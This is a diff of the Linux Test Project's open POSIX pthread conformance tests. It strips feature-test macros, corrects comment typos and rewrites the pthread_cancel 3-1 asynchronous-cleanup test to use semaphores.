--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/1-2.c
@@ -37,8 +37,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-1.c
index 5172b82..8558b3e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-1.c
@@ -11,7 +11,7 @@
  * handler address(es) may be set to NULL.
  *
  * STEPS:
- * 1. Call pthread_atfork() with all NULL paramters
+ * 1. Call pthread_atfork() with all NULL parameters
  * 2. Check to make sure the function returns success
  *
  */
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-2.c
index 49aacdf..cd53ed8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-2.c
@@ -26,8 +26,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-2.c
index aa17792..e01c968 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-2.c
@@ -26,8 +26,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-3.c
index b69a469..1ac3a04 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-3.c
@@ -24,8 +24,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*********************** standard includes ************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/4-1.c
index 15e5f93..d4861eb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/4-1.c
@@ -27,8 +27,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/1-1.c
index 757085f..7f0ea9a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/1-1.c
@@ -6,7 +6,7 @@
  * source tree.
 
  *  Test that pthread_attr_destroy()
- *  shall destory a thread attributes object.  An implementation may cause
+ *  shall destroy a thread attributes object.  An implementation may cause
  *  pthread_attr_destroy() to set 'attr' to an implementation-defined invalid
  *  value.
  *
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/assertions.xml
index fcb109a..227f03d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/assertions.xml
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/assertions.xml
@@ -4,7 +4,7 @@
 
    int pthread_attr_destroy(pthread_attr_t *attr)
 
-  destorys a thread attributes object.  An implementation may cause
+  destroys a thread attributes object.  An implementation may cause
   pthread_attr_destroy() to set 'attr' to an implementation-defined invalid
   value.
   </assertion>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/1-1.c
index d83a6db..aa58520 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/1-1.c
@@ -15,7 +15,6 @@
  * 2. Main destroy the barrier
  * 3. Repeat step 1,2 for N times
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/2-1.c
index fb782f2..161cc46 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/2-1.c
@@ -22,7 +22,6 @@
  * Also see pthread_cond_destroy 4-1.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/1-1.c
index a7d13bf..2c554e9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/1-1.c
@@ -15,7 +15,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/3-1.c
index 9f08106..05a698f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/3-1.c
@@ -14,7 +14,6 @@
 
 #define COUNT 0
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
@@ -35,7 +34,7 @@
 
 	if (rc != EINVAL) {
 		printf
-		    ("Test FAILED: pthread_barrier_init() does not return EINVAL when intializing a barrier with count=0,"
+		    ("Test FAILED: pthread_barrier_init() does not return EINVAL when initializing a barrier with count=0,"
 		     " return code %d, %s\n", rc, strerror(rc));
 		return PTS_FAIL;
 	}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/4-1.c
index b4d776b..2119a74 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/4-1.c
@@ -19,7 +19,6 @@
  * 3. Child thread call pthread_barrier_wait(), should block
  * 4. Main call pthread_barrier_init()
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/1-1.c
index fca37ec..b84e526 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/1-1.c
@@ -18,7 +18,6 @@
  * 4. Main call pthread_barrier_wait(), child and main should all return
  *    from pthread_barrier_wait()
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/2-1.c
index 0170269..327ac1d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/2-1.c
@@ -24,7 +24,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-1.c
index 4118666..7fab9b8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-1.c
@@ -17,13 +17,12 @@
  * 2. Main create a child thread
  * 3. Child thread call pthread_barrier_wait(), should block
  * 4. While child thread is blocking, send SIGUSR1 to child
- * 5. The signal handler did nothing just print a messge
+ * 5. The signal handler did nothing just print a message
  * 6. After return from the signal handler, child should resume blocking
  * 7. Main call pthread_barrier_wait(), child and main should all return
  *    from pthread_barrier_wait()
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-2.c
index c795ecd..c38c271 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-2.c
@@ -20,7 +20,6 @@
  * 6. After return from the signal handler, the child thread should continue as normal
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_destroy/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_destroy/1-1.c
index 059d211..0bc21d0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_destroy/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_destroy/1-1.c
@@ -11,7 +11,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/1-1.c
index 27e6765..bf8708a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/1-1.c
@@ -11,7 +11,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c
index 3351a97..b3883f3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c
@@ -26,7 +26,6 @@
  *	6. Parent and Child should not block on pthread_barrier_wait()
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/1-1.c
index c2e3470..b031a15 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/1-1.c
@@ -12,7 +12,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/2-1.c
index a986289..9342339 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/2-1.c
@@ -12,7 +12,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/1-1.c
index 5b3e44b..d57d959 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/1-1.c
@@ -10,7 +10,6 @@
  * set the process-shared attribute in an initialized attributes object referenced by attr.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/2-1.c
index 97dace7..bbb236a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/2-1.c
@@ -12,7 +12,6 @@
  * This case will always pass
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/3-1.c
index 40469d6..ad2d206 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/3-1.c
@@ -1,159 +1,90 @@
 /*
- * Copyright (c) 2004, QUALCOMM Inc. All rights reserved.
- * Created by:  abisain REMOVE-THIS AT qualcomm DOT com
+ * Copyright (c) 2018, Linux Test Project
  * This file is licensed under the GPL license.  For the full content
  * of this license, see the COPYING file at the top level of this
  * source tree.
-
- * Test pthread_cancel
- * When the cancelation is acted on, the cancelation cleanup handlers for
- * 'thread' shall be called "asynchronously"
  *
- * STEPS:
- * 1. Change main thread to a real-time thread with a high priority
- * 1. Create a lower priority thread
- * 2. In the thread function, push a cleanup function onto the stack
- * 3. Cancel the thread from main and get timestamp, then block.
- * 4. The cleanup function should be automatically
- *    executed, else the test will fail.
+ * Cancellation steps happen asynchronously with respect to
+ * the pthread_cancel(). The return status of pthread_cancel()
+ * merely informs the caller whether the cancellation request
+ * was successfully queued.
  */
 
 #include <pthread.h>
+#include <semaphore.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <unistd.h>
 #include "posixtest.h"
-#include <time.h>
+#include "safe_helpers.h"
 
-#define TEST "3-1"
-#define FUNCTION "pthread_cancel"
-#define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": "
+#define TIMEOUT_MS 5000
+#define SLEEP_MS 1
 
-#define FIFOPOLICY SCHED_FIFO
-#define MAIN_PRIORITY 30
-#define TIMEOUT_IN_SECS 10
+static volatile int after_cancel;
+static volatile int thread_sleep_time;
+static sem_t sem;
 
-/* Manual semaphore */
-int sem;
-
-/* Made global so that the cleanup function
- * can manipulate the value as well.
- */
-int cleanup_flag;
-struct timespec main_time, cleanup_time;
-
-/* A cleanup function that sets the cleanup_flag to 1, meaning that the
- * cleanup function was reached.
- */
-void a_cleanup_func()
+static void cleanup_func(LTP_ATTRIBUTE_UNUSED void *unused)
 {
-	clock_gettime(CLOCK_REALTIME, &cleanup_time);
-	cleanup_flag = 1;
-	sem = 0;
-	return;
+	do {
+		usleep(SLEEP_MS*1000);
+		thread_sleep_time += SLEEP_MS;
+	} while (after_cancel == 0 && thread_sleep_time < TIMEOUT_MS);
 }
 
-/* A thread function called at the creation of the thread. It will push
- * the cleanup function onto it's stack, then go into a continuous 'while'
- * loop, never reaching the cleanup_pop function.  So the only way the cleanup
- * function can be called is when the thread is canceled and all the cleanup
- * functions are supposed to be popped.
- */
-void *a_thread_func()
+static void *thread_func(LTP_ATTRIBUTE_UNUSED void *unused)
 {
-	int rc = 0;
+	int waited_for_cancel_ms = 0;
 
-	/* To enable thread immediate cancelation, since the default
-	 * is PTHREAD_CANCEL_DEFERRED.
-	 */
-	rc = pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL);
-	if (rc != 0) {
-		printf(ERROR_PREFIX "pthread_setcanceltype\n");
-		exit(PTS_UNRESOLVED);
+	SAFE_PFUNC(pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL));
+	pthread_cleanup_push(cleanup_func, NULL);
+
+	SAFE_FUNC(sem_post(&sem));
+	while (waited_for_cancel_ms < TIMEOUT_MS) {
+		usleep(SLEEP_MS*1000);
+		waited_for_cancel_ms += SLEEP_MS;
 	}
-	pthread_cleanup_push(a_cleanup_func, NULL);
 
-	sem = 1;
-	while (sem == 1)
-		sleep(1);
-	sleep(5);
-	sem = 0;
-
-	/* Should never be reached, but is required to be in the code
-	 * since pthread_cleanup_push is in the code.  Else a compile error
-	 * will result.
-	 */
+	/* shouldn't be reached */
+	printf("Error: cancel never arrived\n");
 	pthread_cleanup_pop(0);
-	pthread_exit(0);
+	exit(PTS_FAIL);
 	return NULL;
 }
 
 int main(void)
 {
-	pthread_t new_th;
-	int i;
-	double diff;
-	struct sched_param param;
-	int rc = 0;
+	pthread_t th;
 
-	/* Initializing the cleanup flag. */
-	cleanup_flag = 0;
-	sem = 0;
-	param.sched_priority = MAIN_PRIORITY;
+	SAFE_FUNC(sem_init(&sem, 0, 0));
+	SAFE_PFUNC(pthread_create(&th, NULL, thread_func, NULL));
 
-	/* Increase priority of main, so the new thread doesn't get to run */
-	rc = pthread_setschedparam(pthread_self(), FIFOPOLICY, &param);
-	if (rc != 0) {
-		printf(ERROR_PREFIX "pthread_setschedparam\n");
-		exit(PTS_UNRESOLVED);
-	}
+	/* wait for thread to start */
+	SAFE_FUNC(sem_wait(&sem));
+	SAFE_PFUNC(pthread_cancel(th));
 
-	/* Create a new thread. */
-	rc = pthread_create(&new_th, NULL, a_thread_func, NULL);
-	if (rc != 0) {
-		printf(ERROR_PREFIX "pthread_create\n");
-		return PTS_UNRESOLVED;
-	}
-
-	/* Make sure thread is created and executed before we cancel it. */
-	while (sem == 0)
-		sleep(1);
-
-	rc = pthread_cancel(new_th);
-	if (rc != 0) {
-		printf(ERROR_PREFIX "pthread_cancel\n");
-		exit(PTS_FAIL);
-	}
-
-	/* Get the time after canceling the thread */
-	clock_gettime(CLOCK_REALTIME, &main_time);
-	i = 0;
-	while (sem == 1) {
-		sleep(1);
-		if (i == TIMEOUT_IN_SECS) {
-			printf(ERROR_PREFIX "Cleanup handler was not called\n");
-			exit(PTS_FAIL);
-		}
-		i++;
-	}
-
-	/* If the cleanup function was not reached by calling the
-	 * pthread_cancel function, then the test fails.
+	/*
+	 * if cancel action would run synchronously then
+	 * thread will sleep for too long, because it
+	 * would never see after_cancel == 1
 	 */
-	if (cleanup_flag != 1) {
-		printf(ERROR_PREFIX "Cleanup handler was not called\n");
+	after_cancel = 1;
+
+	SAFE_PFUNC(pthread_join(th, NULL));
+
+	if (thread_sleep_time >= TIMEOUT_MS) {
+		printf("Error: cleanup_func hit timeout\n");
 		exit(PTS_FAIL);
 	}
 
-	diff = cleanup_time.tv_sec - main_time.tv_sec;
-	diff +=
-	    (double)(cleanup_time.tv_nsec - main_time.tv_nsec) / 1000000000.0;
-	if (diff < 0) {
-		printf(ERROR_PREFIX
-		       "Cleanup function was called before main continued\n");
+	if (thread_sleep_time == 0) {
+		printf("Error: cleanup_func never called\n");
 		exit(PTS_FAIL);
 	}
+
+	printf("Thread cancelled after %d ms.\n", thread_sleep_time);
 	printf("Test PASSED\n");
 	exit(PTS_PASS);
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-1.c
index 4c5cc65..336d9cc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-1.c
@@ -10,7 +10,6 @@
  *   variable cond.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-2.c
index 58962da..8783feb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-2.c
@@ -29,12 +29,6 @@
  *
  */
 
-#define _POSIX_C_SOURCE 200112L
-
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 #include <pthread.h>
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-1.c
index ef31372..517a872 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-1.c
@@ -11,7 +11,6 @@
  *   own the mutex with which it called pthread_cond_wait().
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-2.c
index 03bf8de..311aa1c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-2.c
@@ -11,7 +11,6 @@
  *   own the mutex with which it called pthread_cond_timedwait().
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-3.c
index c07de52..926077f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-3.c
@@ -26,12 +26,6 @@
  *
  */
 
-#define _POSIX_C_SOURCE 200112L
-
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 #include <pthread.h>
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-1.c
index b3c96b6..8b1ec72 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-1.c
@@ -9,7 +9,6 @@
  *   Upon successful completion, a value of zero shall be returned.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-2.c
index 01ec634..b3fab5a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-2.c
@@ -25,7 +25,6 @@
  *
  */
 
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/2-1.c
index daafcc2..c755d40 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/2-1.c
@@ -28,13 +28,6 @@
  *
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/4-1.c
index 404e7d7..7b0e21d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/4-1.c
@@ -32,8 +32,6 @@
  *  Date:  31/05/2011
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-1.c
index 12814a5..8d7ce80 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-1.c
@@ -10,7 +10,6 @@
  *   the specified condition variable cond.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-2.c
index 2efddda..aff0cb1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-2.c
@@ -27,13 +27,6 @@
  *
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-1.c
index 3bb025d..0812645 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-1.c
@@ -11,7 +11,6 @@
  *   own the mutex with which it called pthread_cond_wait().
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-2.c
index 8550065..4a2e7e6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-2.c
@@ -11,7 +11,6 @@
  *   own the mutex with which it called pthread_cond_timedwait().
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-1.c
index acbc41c..52a26c7 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-1.c
@@ -9,7 +9,6 @@
  *   Upon successful completion, a value of zero shall be returned.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-2.c
index c49b528..05ab3f6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-2.c
@@ -25,8 +25,6 @@
  *
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
  /********************************************************************************************/
 /****************************** standard includes *****************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/1-1.c
